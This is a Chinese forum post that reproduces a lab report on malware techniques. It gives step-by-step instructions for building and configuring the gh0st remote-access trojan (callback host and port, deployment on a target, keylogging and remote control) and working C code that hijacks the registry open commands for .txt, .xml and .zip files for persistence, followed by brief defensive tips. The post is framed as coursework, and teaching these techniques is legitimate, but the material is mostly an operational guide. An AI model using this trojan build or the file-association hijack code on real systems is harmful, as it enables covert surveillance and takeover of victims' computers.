恶意代码相关技术与防范

打印 上一主题 下一主题

主题 1017|帖子 1017|积分 3051

恶意代码相关技术与防范

病毒、木马、勒索软件等恶意代码层出不穷,已经严重威胁到人们物理空间和网络空间中的正常活动。熟悉恶意代码常用的技术、"知己知彼",才能更好地防范恶意代码的侵害。
实验目的:本实验通过学习恶意代码生成、植入操作,以及自启动技术,了解恶意代码的设计原理,进而思考对恶意代码的预防和查杀方法。
实验内容:木马生成、自启动技术
实验环境:Windows 桌面系统,Visual Studio 6.0 及以上版本,gh0st,HaoZip 软件
参与作者:lanpesk对酒当歌
实验步骤

1.木马生成

打开 gh0st.exe,切换到 settings 选项卡,按照图标识的顺序,设置 gh0st 控制端和木马参数。其中,监听端口是 gh0st 控制端等待 gh0st 木马上线时所监听的端口号;上线特征码中的上线主机和端口则是 gh0st 木马运行时 将要连接的 gh0st 控制端所在的主机和端口。

设置完成后,拷贝上线字串,然后切换至 build 选项卡,将拷贝的上线字串填入域名上线字串中,并按照图 9-1(b)标识的顺序设置参数、生成木马。

源码编译

gh0st源代码https://github.com/iGh0st/gh0st3.6_src
使用VS打开源码文件。

一共三个工程,从svhost、install、ghost依次进行编译。
即可得到对应的应用程序。

默认生成。
2 .木马植入和操作

将生成的木马文件拷贝到目标主机,使用管理员权限运行,然后观察 gh0st
控制端 connections 选项卡中的木马上线情况。
gh0st 的实现的功能较为全面,如图 9-2 所示,例如,文件管理、屏幕控
制、键盘记录、远程中断控制等。使用时选中要操作的上线主机,通过右键菜
单打开相应功能。

目标主机运行木马程序后,控制端这边能看到上线情况,还能对目标主机进行远程操作:

3、自启动技术

自启动技术能够保证木马等恶意软件常驻内存中,随时响应控制端的操作命令,常用的自启动方式有注册表、系统服务、关联文件打开方式等。本实验通过关联 txt 文件打开方式,实现程序自启动,以此理解木马的自启动功能。

  • 劫持 txt 文件打开方式的代码
  1. #include<windows.h>
  2. int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
  3. {
  4.         TCHAR strDir[260] = { 0 };
  5.         TCHAR strPath[260] = { 0 };
  6.         GetSystemDirectory(strDir, 260);
  7.         wsprintf(strPath, TEXT("%s\\notepad.exe"), strDir);
  8.         GetCurrentDirectory(260, strDir);
  9.         MessageBox(NULL, strDir, TEXT("notice"), MB_OK);
  10.         HWND hDesk = GetDesktopWindow();
  11.         ShellExecute(hDesk, TEXT("open"), strPath, lpCmdLine, strDir, SW_SHOWNORMAL);
  12.         return 0;
  13. }
复制代码
报错信息对照:
C2664        “HINSTANCE ShellExecuteW( 无法将参数 4 从“LPSTR”转换为“LPCWSTR”,这是因为因为代码没有按可编译为UNICODE版本的方式写,而VS2005之后版本默认是UNICODE编码的。项目->属性->高级->字符集:改为“使用多字节字符集”即可。
LNK2019        无法解析的外部符号 _main,函数 "int __cdecl invoke_main(void)" (?invoke_main@@YAHXZ) 中引用了该符号\MSVCRTD.lib(exe_main.obj)        1        项目—>属性—>预处理器:CONSOLE改为WINDOWS。连接器-系统-子系统改为窗口WINDOWS
无法启动此程序因为计算机中丢失VCRUNTIME140D.dll。试重新安装该程序以解决此问题。 属性—>C/C++—>代码生成—>右侧的 运行库 —>“多线程 (/MT)”

  • 修改注册表项
txt 文本文件打开方式在注册表项
HKEY_CLASSES_ROOT\txtfile\shell\open\command 中设置,其默认值为%SystemRoot%\system32\NOTEPAD.EXE %1,是使用系统自带的记事本程序打开。那么C:\Users\skprimin\Desktop\JieChi.exe %1便应该是使用我们指定的程序打开
  1. C:\Users\skprimin\Desktop\JieChi.exe %1
复制代码

通过"Win+R"快捷键打开运行窗口,输入"regedit"打开注册表编辑器,定位到上述注册表项,然后将值修改为第(1)步骤中所生成的可执行文件路径。
打开任意.txt 扩展名的文本文件,观察执行结果。然后把代码中注释放开, 生成新的可执行文件,再次打开文本文件,观察执行结果。
先是会弹窗,确定后能够正常显示内容。



  • 编程完善
第(2)步为手动修改注册表,实际应用的木马是通过系统提供的 API 函数修改注册表项。因此,在第(1)步的代码中添加修改注册表、实现篡改 txt 文本文件打开方式的代码,如下图所示。
  1. int ModifyRegKey()
  2. {
  3.         HKEY hKey = NULL;
  4.         if (RegOpenKeyEx(HKEY_CLASSES_ROOT, TEXT("txtfile\\shell\\open\\command"), 0, KEY_WRITE, &hKey) != ERROR_SUCCESS)
  5.                 return 1;
  6.         int nRet = 0;
  7.         TCHAR strPath[260] = { 0 };
  8.         GetModuleFileName(NULL, strPath, 260);
  9.         wsprintf(strPath, TEXT("%s %%1"), strPath);
  10.         if (RegSetKeyValue(hKey, NULL, NULL, REG_EXPAND_SZ, strPath, lstrlen(strPath)) != ERROR_SUCCESS)
  11.                 nRet = 1;
  12.         else
  13.                 nRet = 0;
  14.         RegCloseKey(hKey);
  15.         return nRet;
  16. }
复制代码
其它类型文件

xml

在手动修改注册表的基础上,修改为篡改其他类型文件的打开方式,如 word 文档等,实现木马自启动。
我们在注册表中查看,我们发现xml格式文档不错,看起来很勇。
  1. #include<windows.h>
  2. int ModifyRegKey()
  3. {
  4.         HKEY hKey = NULL;
  5.         RegOpenKeyEx(HKEY_CLASSES_ROOT, TEXT("xmlfile\\shell\\Open\\command"), 0, KEY_WRITE, &hKey) != ERROR_SUCCESS;
  6.         int nRet = 0;
  7.         TCHAR strPath[260] = { 0 };
  8.         GetModuleFileName(NULL, strPath, 260);
  9.         wsprintf(strPath, TEXT("%s %%1"), strPath);
  10.         if (RegSetKeyValue(hKey, NULL, NULL, REG_EXPAND_SZ, strPath, lstrlen(strPath)) != ERROR_SUCCESS){
  11.                 nRet = 1;
  12.                 MessageBox(NULL, strPath, TEXT("notice"), MB_OK);
  13.         }
  14.         else
  15.                 nRet = 0;
  16.         RegCloseKey(hKey);
  17.         return nRet;
  18. }
  19. int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
  20. {
  21.         int ret = ModifyRegKey();
  22.        
  23.         TCHAR strDir[260] = { 0 };
  24.         TCHAR strPath[260] = { 0 };
  25.         GetSystemDirectory(strDir, 260);
  26.         wsprintf(strPath, TEXT("C:\\Program Files\\Internet Explorer\\iexplore.exe"), strDir);
  27.         GetCurrentDirectory(260, strDir);
  28.         MessageBox(NULL, strDir, TEXT("notice"), MB_OK);
  29.         HWND hDesk = GetDesktopWindow();
  30.         ShellExecute(hDesk, TEXT("open"), strPath, lpCmdLine, strDir, SW_SHOWNORMAL);
  31.         return 0;
  32. }
复制代码
然后我们发现这个xml真的逊

但发现还是能用的。

最终也打开了文件

zip

本次实验篡改的是以.zip为后缀的文件的打开方式,即劫持WinRAR程序。代码如下:
  1. #include <windows.h>
  2. int ModifyRegKey()
  3. {
  4.     HKEY hKey = NULL;
  5.     if (RegOpenKeyEx(HKEY_CLASSES_ROOT, TEXT("WinRAR.ZIP\\shell\\open\\command"), 0, KEY_WRITE, &hKey) != ERROR_SUCCESS)
  6.         return 1;
  7.     int nRet = 0;
  8.     TCHAR strPath[260] = {0};
  9.     GetModuleFileName(NULL, strPath, 260);
  10.     wsprintf(strPath, TEXT("%s %%1"), strPath);
  11.     if (RegSetKeyValue(hKey, NULL, NULL, REG_EXPAND_SZ, strPath, lstrlen(strPath)) != ERROR_SUCCESS)
  12.         nRet = 1;
  13.     else
  14.         nRet = 0;
  15.     RegCloseKey(hKey);
  16.     return nRet;
  17. }
  18. int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
  19. {
  20.     int ret = ModifyRegKey();
  21.     TCHAR strDir[260] = {0};
  22.     TCHAR strPath[260] = {0};
  23.     // GetSystemDirectory(strDir,260);
  24.     wsprintf(strPath, TEXT("C:\\Program Files\\WinRAR\\WinRAR.exe"));
  25.     GetCurrentDirectory(260, strDir);
  26.     MessageBox(NULL, strDir, TEXT("notice"), MB_OK);
  27.     HWND hDesk = GetDesktopWindow();
  28.     ShellExecute(hDesk, TEXT("open"), strPath, lpCmdLine, strDir, SW_SHOWNORMAL);
  29.     return 0;
  30. }
复制代码
运行上述程序后,双击打开任意.zip文件,弹出如下弹窗:
说明启动方式修改成功,而且原本程序WinRAR也能正常启动:
思考与总结


  • 除了使用 ShellExecute 还有哪些启动原本程序的方法?


  • ShellExecute函数可以简单方便地打开磁盘文件和Internet文件,甚至是桌面和URL快捷方式( .ink或 .url)。其通过解析系统注册表HKEY_CLASSES_ROOT中所有的内容,判断启动那一个执行程序,并且启动一个新的实例或使用DDE将文件名连到一打开的实例。然后,ShellExecute 返回打开文件的应用的实例句柄。
  • 与其师出同门的ShellExecuteEx搭配SHELLEXECUTEINFO使用
  • WinExec()、system和CreateProcess()
    这些函数使用方法如下:
  1. #include <windows.h>
  2. int main()
  3. {
  4.     // 3
  5.     STARTUPINFO StartInfo;
  6.     PROCESS_INFORMATION pinfo;
  7.     memset(&StartInfo, 0, sizeof(STARTUPINFO));
  8.     StartInfo.cb = sizeof(STARTUPINFO);
  9.     CreateProcess("C:\\Users\\SKPrimin\\Desktop\\TraceMe.exe", NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &StartInfo, &pinfo);
  10.     // 0
  11.     ShellExecute(NULL, "open", "C:\\Users\\SKPrimin\\Desktop\\TraceMe.exe", NULL, NULL, SW_SHOW);
  12.     // 1
  13.     WinExec("C:\\Users\\SKPrimin\\Desktop\\TraceMe.exe", SW_SHOW);
  14.     // 2
  15.     system("C:\\Users\\SKPrimin\\Desktop\\TraceMe.exe");
  16.     return 0;
  17. }
复制代码


  • 如何防范使用上述技术的恶意代码?


  • 关闭闲置和有潜在危险的端口,不使用不明来路的代码,防后门。
  • 锁定注册表,防止别的程序恶意修改。
  • 时时监控端口及注册表,预防被偷偷修改。
  • 可以通过修改组策略防止程序修改注册表项:


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

天津储鑫盛钢材现货供应商

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表